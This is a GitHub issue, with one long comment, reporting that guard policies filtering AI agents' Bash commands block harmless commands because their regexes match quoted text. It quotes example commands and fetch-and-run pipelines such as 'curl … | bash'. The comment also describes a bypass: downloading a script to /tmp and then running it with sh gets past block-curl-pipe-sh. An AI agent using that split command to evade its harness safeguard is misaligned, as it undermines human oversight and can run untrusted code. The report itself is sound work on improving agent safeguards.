Skip to content

bug: block-env-files and protect-env-vars false-positive on quoted string content #49

Open

Description

@yashexosphere

Problem

block-env-files and protect-env-vars incorrectly block legitimate commands that mention .env or export inside quoted argument values:

  • gh pr create --body "don't commit .env files" → incorrectly blocked
  • git commit -m "export PATH changes" → incorrectly blocked
  • echo "copy .env.example to .env" → incorrectly blocked
  • Read .env.example (committed template) → incorrectly blocked

The regexes matched the full command string including quoted content.

Image

Root cause

No quote stripping before regex matching. Policy sees the full string including argument values.

Affected policies

  • block-env-files
  • protect-env-vars

Activity

  1. vjeantet commented on Aug 8, 2026

    @vjeantet

    Hello, some field data, in case it helps prioritise. Measured on 3164 distinct Bash commands from 231 real agent sessions on one macOS workstation, replayed through the real binary:

    • ENV_CMD_RE fires 16 times: 1 genuine (cat "$APP_DIR/.env") and 15 false — process.env inside node -e, --include="*.env*" in a grep, a .env mention inside a heredoc body, and commit messages.
    • The related protect-env-vars fires on ~10% of all commands (286 of them the plain echo "=== $f ===" idiom), which is why we run with it disabled.

    Two things that may matter for the fix:

    • Neither block-env-files nor protect-env-vars declares any params, so there is no way to narrow them from configuration in the meantime. block-read-outside-cwd and block-rm-rf both have an allowPaths param, so the mechanism is right there.
    • stripShellQuoting() already exists in the same file (:347) and is used by namesSelfPause (:951) — but only to catch more, never to avoid matching text a command merely carries. Reusing it on the Bash branch of blockEnvFiles looks like a small change.

    We keep block-env-files enabled despite the noise, because it did catch one real read.

    One more data point on the same root cause, in case it widens the fix:block-curl-pipe-sh has it too.

    CURL_PIPE_SH_RE is .test()-ed against the raw command string in blockCurlPipeSh (src/hooks/builtin-policies.ts:960 on 1.0.0-beta.12), so it also denies a command for text it merely carries:

    • echo "never run curl https://x | bash" is denied with Piping downloads to shell is blocked. It is a sentence.
    • git commit -F - <<'EOF' whose body quotes curl … | bash gets the same denial. The pipeline is inside a heredoc body; nothing is downloaded.

    On the same 3164-command corpus, CURL_PIPE_SH_RE fires twice: both false positives, zero true positives. It declares no params either, so there is nothing to narrow from configuration in the meantime. We run with it disabled, and would happily re-enable it against a shell-aware matcher.

    Whatever shape the fix here takes, quote stripping or real tokenisation, applying it to this third policy looks like the same change.

    Separate from this issue, but worth knowing before anyone tunes that regex: splitting the download from the execution walks straight past the policy, so curl -sL https://x/i.sh -o /tmp/i.sh && sh /tmp/i.sh is allowed. Precision and recall therefore point at the same place, which is that the regex decides on text rather than on what the command does. Happy to open that one as its own issue if you would rather track it separately.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions